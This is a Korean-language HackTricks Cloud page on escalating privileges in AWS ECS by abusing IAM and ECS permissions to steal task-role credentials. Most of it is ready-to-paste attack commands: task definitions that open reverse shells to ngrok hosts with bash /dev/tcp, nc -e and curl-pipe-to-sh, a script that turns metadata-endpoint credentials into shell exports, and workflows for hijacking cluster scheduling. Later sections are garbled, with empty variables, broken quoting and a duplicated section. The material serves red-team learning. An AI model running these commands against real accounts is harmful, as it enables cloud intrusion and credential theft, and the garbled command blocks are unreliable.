AWS - ECS Privesc
Tip
AWS 해킹 학습 및 실습:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습:HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 플랜을 확인하세요!
- 참여하세요 💬 Discord group 또는 telegram group에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- PR을 제출하여 해킹 트릭을 공유하세요: HackTricks 및 HackTricks Cloud github repos.
ECS
ECS에 대한 더 많은 정보는 다음을 참조하세요:
iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask
ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask 권한을 악용하는 공격자는 메타데이터 자격증명을 훔치는 악성 컨테이너를 포함하는 새로운 task definition을 생성하고 실행할 수 있습니다.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: 다른 ECS 역할로의 직접적인 privesc.
iam:PassRole,ecs:RunTask
iam:PassRole 및 ecs:RunTask 권한을 가진 공격자는 execution role, task role 및 컨테이너의 command 값을 변경하여 새로운 ECS task를 시작할 수 있습니다. ecs run-task CLI 명령은 --overrides 플래그를 포함하며, 이를 통해 task definition을 수정하지 않고 런타임에 executionRoleArn, taskRoleArn 및 컨테이너의 command를 변경할 수 있습니다.
taskRoleArn 및 executionRoleArn으로 지정된 IAM 역할은 신뢰 정책에서 ecs-tasks.amazonaws.com이 해당 역할을 assume할 수 있도록 허용/신뢰되어야 합니다.
또한 공격자는 다음을 알고 있어야 합니다:
- ECS cluster name
- VPC Subnet
- Security group (지정하지 않으면 기본 Security group이 사용됩니다)
- Task Definition Name and revision
- Name of the Container
aws ecs run-task \
--cluster <cluster-name> \
--launch-type FARGATE \
--network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" \
--task-definition <task-definition:revision> \
--overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": <container-name>,
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
위 코드 스니펫에서 attacker는 taskRoleArn 값만 덮어씁니다. 그러나 attack이 발생하려면 attacker는 명령에 지정된 taskRoleArn과 태스크 정의에 지정된 executionRoleArn에 대해 iam:PassRole 권한을 가지고 있어야 합니다.
attacker가 전달할 수 있는 IAM 역할이 ECR 이미지를 가져오고 ECS 태스크를 시작할 수 있는 충분한 권한(ecr:BatchCheckLayerAvailability, ecr:GetDownloadUrlForLayer, ecr:BatchGetImage, ecr:GetAuthorizationToken)을 가지고 있다면, attacker는 ecs run-task 명령에서 executionRoleArn과 taskRoleArn에 동일한 IAM 역할을 지정할 수 있습니다.
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
"taskRoleArn": "arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"executionRoleArn":"arn:aws:iam::<redacted>:role/HighPrivilegedECSTaskRole",
"containerOverrides": [
{
"name": "<container-name>",
"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"]
}
]
}'
잠재적 영향: 모든 ECS task role에 대한 직접적인 privesc.
iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask
앞선 예와 마찬가지로, 공격자가 ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask 권한을 악용하면 새로운 task definition을 생성하여 메타데이터 자격 증명을 탈취하는 악성 컨테이너를 포함시키고 이를 실행할 수 있다.
하지만 이 경우에는 악성 task definition을 실행할 컨테이너 인스턴스가 필요하다.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"
aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
Potential Impact: 어떤 ECS role에 대한 직접적인 privesc.
iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)
앞의 예와 마찬가지로, 공격자가 ECS에서 iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService 또는 ecs:CreateService 권한을 악용하면, generate a new task definition으로 malicious container를 포함시켜 metadata credentials를 훔치고, run it by creating a new service with at least 1 task running.
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"
# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"
# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
Potential Impact: 임의의 ECS 역할에 대한 직접적인 privesc 권한 획득.
iam:PassRole, (ecs:UpdateService|ecs:CreateService)
사실, 해당 권한만으로 overrides를 사용하여 임의의 역할을 가진 컨테이너에서 임의의 명령을 실행할 수 있습니다. 다음과 같이:
aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
잠재적 영향: 모든 ECS 역할에 대한 직접 privesc.
ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
이 시나리오는 이전 사례들과 유사하지만 iam:PassRole 권한이 없습니다.
이것은 여전히 흥미로운데, 임의의 컨테이너를 실행할 수 있다면(역할이 없어도) run a privileged container to escape 하여 노드로 접근하고 노드에서 실행 중인 steal the EC2 IAM role 및 other ECS containers roles를 탈취할 수 있기 때문입니다.
심지어 타깃으로 삼은 EC2 인스턴스 내에서 다른 태스크를 실행하도록 force other tasks to run inside the EC2 instance 하여 그들의 자격증명을 탈취할 수도 있습니다 (자세한 내용은 Privesc to node section 참조).
Warning
이 공격은 ECS cluster is using EC2 인스턴스를 사용하고 있고 Fargate가 아닌 경우에만 가능합니다.
printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json
printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json
aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2
# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell
ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)
ecs:ExecuteCommand, ecs:DescribeTasks 권한을 가진 공격자는 실행 중인 컨테이너 내부에서 명령을 실행하고 그에 연결된 IAM role을 유출할 수 있습니다(Describe 권한이 필요한 이유는 aws ecs execute-command를 실행하려면 필요하기 때문입니다).
하지만 이를 위해서는 컨테이너 인스턴스가 기본적으로 활성화되어 있지 않은 ExecuteCommand agent를 실행 중이어야 합니다.
따라서 공격자는 다음을 시도할 수 있습니다:
- 모든 실행 중인 컨테이너에서 명령 실행을 시도
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo " Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done
# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
컨테이너 내부에 shell을 얻으면, 일반적으로 task credentials endpoint에서 extract the task role credentials 하고 이를 컨테이너 외부에서 재사용할 수 있습니다:
# Inside the container:
echo "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | jq
# If you want to use them locally, print shell exports:
python3 - <<'PY'
import json, os, urllib.request
u = "http://169.254.170.2" + os.environ["AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"]
d = json.load(urllib.request.urlopen(u, timeout=2))
print("export AWS_ACCESS_KEY_ID=" + d["AccessKeyId"])
print("export AWS_SECRET_ACCESS_KEY=" + d["SecretAccessKey"])
print("export AWS_SESSION_TOKEN=" + d["Token"])
PY
- 권한에 **
ecs:RunTask**가 있으면,aws ecs run-task --enable-execute-command [...]로 task를 실행하세요. - 권한에 **
ecs:StartTask**가 있으면,aws ecs start-task --enable-execute-command [...]로 task를 실행하세요. - 권한에 **
ecs:CreateService**가 있으면,aws ecs create-service --enable-execute-command [...]로 서비스를 생성하세요. - 권한에 **
ecs:UpdateService**가 있으면,aws ecs update-service --enable-execute-command [...]로 서비스를 업데이트하세요.
해당 옵션들의 예제는 previous ECS privesc sections에서 확인할 수 있습니다.
잠재적 영향: 컨테이너에 연결된 다른 역할로 privesc.
ssm:StartSession
이 권한을 악용하여 privesc to ECS 하는 방법은 ssm privesc page를 확인하세요:
iam:PassRole, ec2:RunInstances
이 권한들을 악용하여 privesc to ECS 하는 방법은 ec2 privesc page를 확인하세요:
ecs:RegisterContainerInstance, ecs:DeregisterContainerInstance, ecs:StartTask, iam:PassRole
이 권한을 가진 공격자는 종종 “cluster membership“을 보안 경계 우회로 바꿀 수 있습니다:
- 피해자 ECS cluster에 공격자가 제어하는 EC2 instance를 등록(컨테이너 인스턴스가 됨)
- placement constraints를 만족시키기 위해 커스텀 container instance attributes 설정
- ECS가 해당 호스트에 task를 스케줄하도록 허용
- 호스트에서 실행 중인 task에서 task role credentials(및 컨테이너 내부의 모든 비밀/데이터) 탈취
상위 수준 워크플로우:
- 대상 계정에서 제어하는 EC2 인스턴스(예: SSM/SSH를 통해)에서 EC2 instance identity document + signature를 획득:
curl -s http://169.254.169.254/latest/dynamic/instance-identity/document > iidoc.json
curl -s http://169.254.169.254/latest/dynamic/instance-identity/signature > iisig
- 대상 클러스터에 등록하고, 선택적으로 배치 제약 조건을 만족시키기 위해 속성을 설정합니다:
aws ecs register-container-instance \
--cluster "$CLUSTER" \
--instance-identity-document file://iidoc.json \
--instance-identity-document-signature "$(cat iisig)" \
--attributes name=labtarget,value=hijack
- 연결되었는지 확인:
aws ecs list-container-instances --cluster "$CLUSTER"
- task를 시작하거나 service를 업데이트하여 어떤 것이 instance에 스케줄되도록 한 다음, task 내부에서 task role creds를 수집합니다:
# On the container host:
docker ps
docker exec -it <container-id> sh
curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Notes:
- Registering a container instance using the instance identity document/signature implies you have access to an EC2 instance in the target account (or have compromised one). For cross-account “bring your own EC2”, see the ECS Anywhere technique in this page.
- Placement constraints commonly rely on container instance attributes. Enumerate them via
ecs:DescribeServices,ecs:DescribeTaskDefinition, andecs:DescribeContainerInstancesto know which attributes you need to set.
ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets
Note
TODO: 테스트 필요
권한 ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets를 가진 공격자는 기존 ECS 서비스에 대한 악의적인 task set을 생성하고 기본 task set을 업데이트할 수 있습니다. 이를 통해 공격자는 서비스 내에서 임의의 코드를 실행할 수 있습니다.
# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json
aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json
# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
잠재적 영향: 영향을 받은 서비스에서 임의의 코드를 실행할 수 있으며, 서비스의 기능에 영향을 주거나 민감한 데이터를 유출할 수 있습니다.
참조
Hijack ECS Scheduling via Malicious Capacity Provider (EC2 ASG takeover)
권한을 가진 공격자는 ECS capacity providers를 관리하고 서비스를 업데이트할 수 있는 권한을 이용해 자신이 제어하는 EC2 Auto Scaling Group을 생성하고, 이를 ECS Capacity Provider로 래핑한 후 대상 클러스터에 연결하고 피해자 서비스를 이 provider로 마이그레이션할 수 있습니다. 그러면 Tasks가 공격자가 제어하는 EC2 인스턴스에 스케줄되어 OS 수준에서 컨테이너를 조사하고 task role 자격증명을 탈취할 수 있습니다.
Commands (us-east-1):
-
사전 요구사항
-
Launch Template 생성하여 ECS agent가 대상 클러스터에 가입하도록 구성
-
Auto Scaling Group 생성
-
ASG로 Capacity Provider 생성
-
Capacity Provider를 클러스터에 연결 (옵션: 기본으로 설정)
-
서비스를 공격자 provider로 마이그레이션
-
Tasks가 공격자 인스턴스에 할당되는지 확인
-
선택사항: EC2 노드에서 docker exec로 대상 컨테이너에 접근하고 http://169.254.170.2 를 읽어 task role 자격증명을 획득
-
정리(cleanup)
잠재적 영향: 공격자가 제어하는 EC2 노드에 피해자 Tasks가 배치되어 OS 수준에서 컨테이너에 접근하고 task IAM role 자격증명을 탈취할 수 있습니다.
단계별 명령어 (복사/붙여넣기)
export AWS_DEFAULT_REGION=us-east-1 CLUSTER=arn:aws:ecs:us-east-1:947247140022:cluster/ht-victim-cluster # Instance profile for ECS nodes aws iam create-role --role-name ht-ecs-instance-role --assume-role-policy-document Version:2012-10-17 || true aws iam attach-role-policy --role-name ht-ecs-instance-role --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role || true aws iam create-instance-profile --instance-profile-name ht-ecs-instance-profile || true aws iam add-role-to-instance-profile --instance-profile-name ht-ecs-instance-profile --role-name ht-ecs-instance-role || trueVPC=vpc-18e6ac62 SUBNETS=
AMI=ami-0b570770164588ab4 USERDATA=IyEvYmluL2Jhc2gKZWNobyBFQ1NfQ0xVU1RFUj0gPj4gL2V0Yy9lY3MvZWNzLmNvbmZpZwo= LT_ID=
ASG_ARN=
CP_NAME=htcp-8797 aws ecs create-capacity-provider –name –auto-scaling-group-provider “autoScalingGroupArn=,managedScaling={status=ENABLED,targetCapacity=100},managedTerminationProtection=DISABLED” aws ecs put-cluster-capacity-providers –cluster “” –capacity-providers –default-capacity-provider-strategy capacityProvider=,weight=1
SVC=
Task definition must be EC2-compatible (not Fargate-only)
aws ecs update-service –cluster “” –service “” –capacity-provider-strategy capacityProvider=,weight=1 –force-new-deployment
TASK= CI= aws ecs describe-container-instances –cluster “” –container-instances “” –query containerInstances[0].ec2InstanceId –output text
Backdoor compute in-cluster via ECS Anywhere EXTERNAL registration
ECS Anywhere를 악용해 공격자가 제어하는 호스트를 피해자 ECS 클러스터에 EXTERNAL container instance로 등록하고, 해당 호스트에서 privileged task 및 execution role을 사용해 Tasks를 실행할 수 있습니다. 이는 capacity providers나 ASGs를 건드리지 않고도 Tasks가 실행되는 위치(OS 수준)를 공격자가 제어할 수 있게 하며, Tasks와 연결된 볼륨에서 자격증명/데이터를 탈취할 수 있습니다.
-
필요한 권한 (예시 최소):
-
ecs:CreateCluster (선택), ecs:RegisterTaskDefinition, ecs:StartTask 또는 ecs:RunTask
-
ssm:CreateActivation, ssm:DeregisterManagedInstance, ssm:DeleteActivation
-
iam:CreateRole, iam:AttachRolePolicy, iam:DeleteRole, iam:PassRole (ECS Anywhere 인스턴스 역할 및 task/execution 역할용)
-
logs:CreateLogGroup/Stream, logs:PutLogEvents (awslogs 사용 시)
-
영향: 공격자 호스트에서 선택한 taskRoleArn으로 임의의 컨테이너 실행; 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI로부터 task-role 자격증명 유출; Tasks가 마운트한 모든 볼륨 접근; capacity providers/ASGs 조작보다 은밀함.
Steps
- Create/identify cluster (us-east-1)
aws ecs create-cluster --cluster-name ht-ecs-anywhere
- ECS Anywhere 역할 및 SSM activation 생성 (on-prem/EXTERNAL 인스턴스용)
aws iam create-role --role-name ecsAnywhereRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ssm.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore
aws iam attach-role-policy --role-name ecsAnywhereRole --policy-arn arn:aws:iam::aws:policy/service-role/AmazonEC2ContainerServiceforEC2Role
ACTJSON=$(aws ssm create-activation --iam-role ecsAnywhereRole)
ACT_ID=$(echo $ACTJSON | jq -r .ActivationId); ACT_CODE=$(echo $ACTJSON | jq -r .ActivationCode)
- 공격자 호스트를 프로비저닝하고 자동으로 EXTERNAL로 등록합니다 (예: 작은 AL2 EC2를 “on‑prem”으로)
user-data.sh
```bash #!/bin/bash set -euxo pipefail amazon-linux-extras enable docker || true yum install -y docker curl jq systemctl enable --now docker curl -fsSL -o /root/ecs-anywhere-install.sh "https://amazon-ecs-agent.s3.amazonaws.com/ecs-anywhere-install-latest.sh" chmod +x /root/ecs-anywhere-install.sh /root/ecs-anywhere-install.sh --cluster ht-ecs-anywhere --activation-id ${ACT_ID} --activation-code ${ACT_CODE} --region us-east-1 ```task def (EXTERNAL launch)
cat > td-external.json << ‘JSON’
{
“family”: “ht-external”,
“requiresCompatibilities”: [ “EXTERNAL” ],
“networkMode”: “bridge”,
“memory”: “256”,
“cpu”: “128”,
“executionRoleArn”: “arn:aws:iam::
–container-instances $CI
6) 여기서 당신은 tasks를 실행하는 호스트를 제어합니다. awslogs인 경우 task 로그를 읽거나 호스트에서 직접 exec하여 tasks의 credentials/data를 exfiltrate할 수 있습니다.
#### 명령 예시 (플레이스홀더)
### 악성 Capacity Provider를 통한 ECS 스케줄링 탈취 (EC2 ASG takeover)
ECS capacity providers를 관리하고 services를 업데이트할 수 있는 권한을 가진 공격자는 자신이 제어하는 EC2 Auto Scaling Group을 생성하고, 이를 ECS Capacity Provider로 감싸 대상 cluster에 연결한 뒤 피해자 service를 이 provider로 마이그레이션할 수 있습니다. 그러면 Tasks는 공격자가 제어하는 EC2 인스턴스에 스케줄되어 컨테이너를 OS 수준에서 검사하고 task role credentials를 탈취할 수 있습니다.
Commands (us-east-1):
- 사전 요구사항
- ECS agent가 target cluster에 참여하도록 Launch Template 생성
- Auto Scaling Group 생성
- ASG로부터 Capacity Provider 생성
- Capacity Provider를 cluster에 연결 (선택적으로 기본으로 설정)
- 서비스를 당신의 provider로 마이그레이션
- Tasks가 공격자 인스턴스에 배치되었는지 확인
- 선택사항: EC2 노드에서 docker exec로 대상 컨테이너에 접근하고 http://169.254.170.2를 읽어 task role credentials를 획득하세요.
- 정리
**잠재적 영향:** 공격자가 제어하는 EC2 노드에 피해자 Tasks가 할당되어 컨테이너에 대한 OS 수준의 접근이 가능해지고 task IAM role credentials를 탈취할 수 있습니다.
> [!TIP]
> AWS 해킹 학습 및 실습:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP 해킹 학습 및 실습: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Az 해킹 학습 및 실습: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks 지원하기</summary>
>
> - [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인하세요!
> - **참여하세요** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) 또는 [**telegram group**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 팔로우하세요.
> - **PR을 제출하여 해킹 트릭을 공유하세요**: [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>
HackTricks Cloud

